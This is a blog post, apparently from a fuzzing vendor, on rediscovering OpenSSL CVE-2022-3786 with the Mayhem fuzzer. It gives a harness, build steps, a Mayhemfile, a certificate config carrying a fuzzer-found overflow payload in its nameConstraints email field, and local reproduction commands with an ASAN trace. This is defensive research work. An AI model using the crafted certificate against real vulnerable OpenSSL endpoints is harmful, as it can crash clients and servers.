Finding CVE-2022-3786 (openssl) with Mayhem

Finding CVE-2022-3786 (openssl) with Mayhem
Photo by Elegance Nairobi / Unsplash

What is the bug?

Disclaimer, I didn’t discover the bug. I’m just here after the fact, showing how fuzzers can detect and prevent memory corruption issues like these. CVE-2022-3786 affected openssl versions 3.0.0 up to and including 3.0.6. This bug affected both clients and servers (a healthy reminder not to go connecting to random servers). Specifically, users could craft certificates with a malicious e-mail value that would end up being verified by the opposite endpoint. During verification, openssl would call the function ossl_a2ulabel in the source punycode.c.

The relevant snippet is below but is probably better viewed through the git diff on GitHub. This whole block is further wrapped in while loop which ensures it gets executable multiple times. Essentially, the snippet continuously writes . onto the stack at the location pointed to by outptr. However, outptr is never realloc'd or anything; it has a fixed size of 256 declared in nc_email_eai. Due to a lack of bounds checking, it is possible to write an arbitrary number of .'s onto the stack at the location pointed to by outptr.

if (tmpptr != NULL) {
    *outptr = '.';
     utptr++;
     size++;
     if (size >= *outlen - 1)
         result = 0;
}

Prepping Our Harness

Our goal is to find this with Mayhem. Fortunately, the OSS community already did a lot of heavy lifting and created test cases for this function to prevent the bug from re-emerging. There’s also a great write-up by Data Dog Security Labscovering CVE-2022-3602, a CVE ****found simultaneously in an adjacent function. There’s a lot of overlap. From the unit tests linked above, we can create a harness that reads from argv[0] and passes the input to ossl_a2ulabel. It looks something like this:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* From punycode test. See link below.
** <https://github.com/openssl/openssl/commit/a0af4a3c8b18c435a5a4afb28b3ad1a2730e6ea8#diff-83399d92c96bb1f4616b5c6f090053b95834cdbc7bb37bb0d835d1555f69e8ad>
*/
#include <openssl/crypto.h>
#include <string.h>

#include "crypto/punycode.h"
#include "internal/nelem.h"

/* This is from crypto/punycode.c
** Why not the header? I dunno. */
#define LABEL_BUF_SIZE 512

int main(int argc, char ** argv){

    int fd;
    struct stat stat;
    int result;

    /* Ensure we have the correct number of arguments. */
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <file>\\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    /* Open the file passed in to argv[1]. */
    fd = open(argv[1], O_RDONLY);
    /* Check that the file exists. */
    if (fd < 0) {
        perror("Open");
        return EXIT_FAILURE;
    }

    /* Get the size of the file. */
    if (fstat(fd, &stat) < 0) {
        perror("fstat");
        return EXIT_FAILURE;
    }

    /* Create a buffer of that size. */
    char * in = malloc(stat.st_size);

    /* Read the contents of the file into the buffer at once. */
    if (read(fd, in, stat.st_size) < 0) {
        perror("read");
        return EXIT_FAILURE;
    }

    /* If DEBUG is defined, print the contents of the buffer.
    ** Users can set this at compilation time with -DDEBUG
    */
    #ifdef DEBUG
        printf("The contents of the file: %s", in);
    #endif

    /* Call the function we want to test. */
    char ulabel[256];
    size_t size = sizeof(ulabel) - 1;
    memset(ulabel, 0, sizeof(ulabel));
    result = ossl_a2ulabel(in, ulabel, &size);
    printf("ossl_a2ulabel returned: %d\\n", result);

    /* Free the buffer and set it to NULL. */
    free(in);
    in = NULL;

    /* Exit the program. */
    return result;
}

Lots of boilerplate to call ossl_a2ulabel(in, ulabel, &size); where in contains the contents of the file, stored on the heap. ulabel is the output buffer declared statically on the stack with a size of 256 (taken directly from the function nc_email_eai). With our harness coded, the next step is to compile openssl and our harness and then link them together.

I cloned down openssl and checked out the vulnerable source at commit eec0ad10b943bc10690358cf2db32ca06c3e81a0. Compilation is easy with the following command. Notably, we compile for x86 and use AFL’s compilers. We could use AFL_USE_ASAN=1 for address sanitization, but I opted not to for the first run to speed up execution time. I also usually use clang and its corresponding afl substitutes, but I got some unresolved symbols I didn’t care to triage.

make clean
CC=afl-gcc-fast CXX=afl-g++-fast CFLAGS="-m32" ./Configure -m32 linux-generic32 no-tests --debug
# Compile the project.
CC=afl-gcc-fast CXX=afl-g++-fast CFLAGS="-m32" make

We can compile the harness in the same way, just linking in the relevant libraries in openssl (libcrypto and libssl). It’s also worth noting that I learned about the compiler -l: flag during this project. The : allows you to specify the full name of the shared object. Usually, people use  -l which automatically appends lib and the extension (ie instead of -l:libcrypto.so.3 we would have just used -lcrypto). I prefer the explicitness allowed by the colon.

CC=afl-gcc-fast -o harness harness.c -L$(pwd)/openssl -l:libcrypto.so.3 -l:libcrypto.a

Off to the races! We can use the harness like so:

$ ./harness 
Usage: ./harness <file>

# Just a simple seed file.
$ cat input/seed0.txt 
test

# Non-crashing input.
$ ./harness input/seed0.txt 
ossl_a2ulabel returned: 1

We moved everything over to a Docker container to make running this on Mayhem’s cluster super easy. The Mayhemfile boiled down to the following:

# Specifies the version of Mayhem.
version: '2.0'
project: openssl

# The name of the target you are testing. A single target could have multiple
# targets.
target: openssl

# image
image: whatthefuzz/openssl-cve-2022-3768:latest

# Sets the explicit tasks that will be executed for the Mayhem run. The `tasks` parameter can be set to include the following tasks: Exploitability Factors, Behavior Testing, Regression Testing, Coverage Analysis.
tasks:
  - name: exploitability_factors
  - name: regression_testing
  - name: behavior_testing

# Defines the location of the seed test suite for Mayhem runs. The `tests` parameter accepts multiple methods for specifying the seed tests location for the current Mayhem run. In addition, when setting a local test suite directive, Mayhem will upload the test suite as a tar file to the Mayhem instance and substitute the Mayhemfile with an updated URL to the uploaded test suite file. If no test suite values are set via the source Mayhemfile, Mayhem will set [default test suite values](#default-values).
testsuite:
  - file://input

# An optional numeric UNIX user id to use as the target uid.
uid: 0 # Default: derived from ''image''

# An optional numeric UNIX group id to use as the target gid.
gid: 0 # Default: derived from ''image''

# cmds (Required)
# A list of cmd objects to specify the different ways to test the packaged
# application.
cmds:
  - cmd: /harness/harness @@
    max_length: 50000000
    timeout: 5

	  # maximum amount of memory (in MB) to allow the target to allocate.
    memory_limit: 8192 # Default: automatic

	  # Set to true *only* if the target executable is compiled with a sanitizer
    sanitizer: false # Default: automatic
  
	  # Set to true *only* if the target executable is compiled with AFL instrumentation.
    afl: true # Default: automatic

Finding the Bug

Without address sanitization, Mayhem found the defect associated with CVE-2022-3786 in about 13.5 hours. Using the same harness with AFL (single-core) over the same time period failed to find the crash on my slow 2014 i7 (and still failed to find it 24 hours later). ASAN might have leveled the playing field, but I’m chalking this victory up to symbolic execution.

The output of Mayhem's analysis. It shows one unique defect.
The output of Mayhem's analysis. It shows one unique defect.

Verifying the Bug

Finding a crash with a harness is not the same as finding a crash in the target executable. Too often have I written a harness, waited days for bugs to shake out, and then realized I introduced a bug with my harness. See relevant meme:

A poor meme I made. It shows Fry from Futurama asking whether something is a bug in the program or the fuzzing harness.

Now our goal is to trace the faulting input through an actual program. Instead of using our harness, we need to use openssl itself. We’re taking off the training wheels! Fortunately, Data Dogs did the work for us on their GitHub repository. They have included scripts to generate the certificates and run the vulnerable server. See the bad cert on their repository. We can modify the certificate to trigger the vulnerability (it’s the same field; different bug. 🙂). We can take the crashing input from Mayhem and drop it in. Notice the really long field in nameConstraints = permitted;email: (keep scrolling ⬇️).

# This definition stops the following lines choking if HOME isn't
# defined.
HOME                    = .
RANDFILE                = $ENV::HOME/.rnd

# Extra OBJECT IDENTIFIER info:
#oid_file               = $ENV::HOME/.oid
oid_section             = new_oids

[ new_oids ]
# Policies used by the TSA examples.
tsa_policy1 = 1.2.3.4.1
tsa_policy2 = 1.2.3.4.5.6
tsa_policy3 = 1.2.3.4.5.7

####################################################################
[ ca ]
default_ca      = CA_default            # The default ca section

[ CA_default ]
dir             = $ENV::PWD             # Where everything is kept
certs           = $dir/certs            # Where the issued certs are kept
database        = $dir/index.txt        # database index file.
                                        # several certs with same subject.
new_certs_dir   = $dir/certs            # default place for new certs.
certificate     = $dir/certs/cacert.pem # The CA certificate
serial          = $dir/serial           # The current serial number
crlnumber       = $dir/crlnumber        # the current crl number
                                        # must be commented out to leave a V1 CRL
private_key     = $dir/private/ca.key.pem # The private key

name_opt        = ca_default            # Subject Name options
cert_opt        = ca_default            # Certificate field options

default_days    = 365                   # how long to certify for
default_crl_days= 30                    # how long before next CRL
default_md      = sha256                # use SHA-256 by default
preserve        = no                    # keep passed DN ordering
policy          = policy_match

# For the CA policy
[ policy_match ]
countryName             = match
stateOrProvinceName     = match
organizationName        = match
organizationalUnitName  = optional
commonName              = supplied
emailAddress            = optional

[ policy_anything ]
countryName             = optional
stateOrProvinceName     = optional
localityName            = optional
organizationName        = optional
organizationalUnitName  = optional
commonName              = supplied
emailAddress            = optional

####################################################################
[ req ]
default_bits            = 2048
default_md              = sha256
default_keyfile         = privkey.pem
distinguished_name      = req_distinguished_name
#attributes              = req_attributes
x509_extensions = v3_ca # The extentions to add to the self signed cert

[ req_distinguished_name ]
countryName                     = Country Name (2 letter code)
countryName_default             = US
countryName_min                 = 2
countryName_max                 = 2
countryName_value               = US
stateOrProvinceName             = State or Province Name (full name)
stateOrProvinceName_default     = NY
stateOrProvinceName_value       = NY
localityName                    = Locality Name (eg, city)
localityName_default            = NYC
localityName_value              = NYC
0.organizationName              = Organization Name (eg, company)
0.organizationName_default      = DataDog
0.organizationName_value        = DataDog
organizationalUnitName          = Organizational Unit Name (eg, section)
organizationalUnitName_default  = SecurityResearch
organizationalUnitName_value    = SecurityResearch
commonName                      = Common Name (eg, your name or your server\\'s hostname)
commonName_max                  = 64
commonName_value                = RootCA

[ req_attributes ]
challengePassword               = A challenge password
challengePassword_min           = 4
challengePassword_max           = 20
unstructuredName                = An optional company name

[ v3_req ]
# Extensions to add to a certificate request
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment

[ v3_ca ]
# Extensions for a typical CA
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid:always,issuer
basicConstraints = critical,CA:true,pathlen:1

# Payload is here
nameConstraints = permitted;email:.....€................................xn--.......xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxn-----IIIII.IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIILIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII7IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII6IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIAIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIYIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxx-------···························xn--············································—·······.................IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIKIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeee......................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII..ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß.........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································IIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIKIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeee......................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII..ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß.........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·······························································································································································································································IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeee.....xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·································································································································································eeeeeeeeeeeeeeeeee..······················································..································································································Ù···················............................········································································•·········································································································································································································..·························································································································IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIILIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII7IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII6IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIAIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIYIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxx-------···························xn--············································—·······.................IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIKIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeee......................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII..ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß.........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································IIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIKIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeee......................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII..ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß.........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·······························································································································································································································IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeee.....xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································..·································································································································································eeeeeeeeeeeeeeeeee..······················································..································································································Ù···················............................········································································•·········································································································································································································..·····················································································································································································································································.....................................ÿÿÿ...................................................................................xn-----IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIVIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIxnn-----IIIIIIIIIIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee......................IIIIII...........xn--eeeeeeNeeeeeeeeeeeeeeeeeeeeeeee..······················································································································.....................................ÿÿÿ..............................................................................@example.com

[ crl_ext ]
# issuerAltName=issuer:copy
authorityKeyIdentifier=keyid:always

With the certificate in hand, we recompile openssl with address sanitization (libasan) and better debugging symbols (ie CFLAGS="-m32 -Og -g3 -fno-inline-functions -fdump-rtl-expand -fsanitize=address -static-libasan"). The openssl application gets built inside of the directory /openssl/apps/openssl. We didn’t compile it statically (since we’re using address sanitization with libasan), so we need to make sure it loads in the correct libcrypto and libssl. The easiest way is with LD_PRELOAD. To run the server with the malicious certificate:

LD_PRELOAD="../libcrypto.so.3:../libssl.so.3" ./openssl/apps/openssl s_server -accept 127.0.0.1:3000 -CAfile certs/cacert.pem -cert certs/trusted.pem -key certs/server.key.pem -state

Then we just connect to the server with the client:

LD_PRELOAD="../libcrypto.so.3:../libssl.so.3" gdb --args ./openssl s_client -connect 127.0.0.1:3000 -state

Boom, we get the ASAN stack trace associated with CVE-2022-3786, confirming that our harness was correctly implemented.

==3788313==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffbce0 at pc 0xf7ac8112 bp 0xffffb208 sp 0xffffb1f8
WRITE of size 1 at 0xffffbce0 thread T0
    #0 0xf7ac8111 in ossl_a2ulabel crypto/punycode.c:303
    #1 0xf7bcf316 in nc_email_eai crypto/x509/v3_ncons.c:617
    #2 0xf7bcf55c in nc_match_single crypto/x509/v3_ncons.c:524
    #3 0xf7bcf991 in nc_match crypto/x509/v3_ncons.c:485
    #4 0xf7bd04a3 in NAME_CONSTRAINTS_check crypto/x509/v3_ncons.c:288
    #5 0xf7bf0370 in check_name_constraints crypto/x509/x509_vfy.c:760
    #6 0xf7bf684a in verify_chain crypto/x509/x509_vfy.c:244
    #7 0xf7bf6e61 in X509_verify_cert crypto/x509/x509_vfy.c:296
    #8 0xf7668def in ssl_verify_cert_chain ssl/ssl_cert.c:431
    #9 0xf7703a30 in tls_process_server_certificate ssl/statem/statem_clnt.c:1910
    #10 0xf770b46c in ossl_statem_client_process_message ssl/statem/statem_clnt.c:1043
    #11 0xf76f3b0f in read_state_machine ssl/statem/statem.c:637
    #12 0xf76f5638 in state_machine ssl/statem/statem.c:435
    #13 0xf76f5e13 in ossl_statem_connect ssl/statem/statem.c:251
    #14 0xf76c279c in ssl3_write_bytes ssl/record/rec_layer_s3.c:407
    #15 0xf765cd02 in ssl3_write ssl/s3_lib.c:4520
    #16 0xf767c0a9 in ssl_write_internal ssl/ssl_lib.c:2046
    #17 0xf767c65b in SSL_write ssl/ssl_lib.c:2124
    #18 0x566fef20 in s_client_main apps/s_client.c:2899
    #19 0x566d4f0f in do_cmd apps/openssl.c:411
    #20 0x566d548c in main apps/openssl.c:293
    #21 0xf72d0518 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #22 0xf72d05f2 in __libc_start_main_impl ../csu/libc-start.c:392
    #23 0x565ae44a in _start (openssl+0x5944a)

Address 0xffffbce0 is located in stack of thread T0 at offset 320 in frame
    #0 0xf7bcf085 in nc_email_eai crypto/x509/v3_ncons.c:601

  This frame has 2 object(s):
    [48, 52) 'size' (line 607)
    [64, 320) 'ulabel' (line 606) <== Memory access at offset 320 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow crypto/punycode.c:303 in ossl_a2ulabel
Shadow bytes around the buggy address:
  0x3ffff740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ffff750: 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x3ffff760: f2 f2 f8 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
  0x3ffff770: 00 00 00 00 f1 f1 f1 f1 f1 f1 04 f2 00 00 00 00
  0x3ffff780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3ffff790: 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3
  0x3ffff7a0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ffff7b0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x3ffff7c0: 04 f2 04 f2 f8 f3 f3 f3 00 00 00 00 00 00 00 00
  0x3ffff7d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ffff7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3788313==ABORTING
[Inferior 1 (process 3788313) exited with code 01]

Conclusion

All of this is documented on GitHub. I’m not the only one who has demonstrated that this specific bug can be trivially found with fuzzing. Users from oss-security demonstrated a similar approach with LLVM’s libfuzzer. This has me (and the community) asking, why don’t we just fuzz all the things and find bugs before they enter production? I’d love to hear your thoughts over on LinkedIn.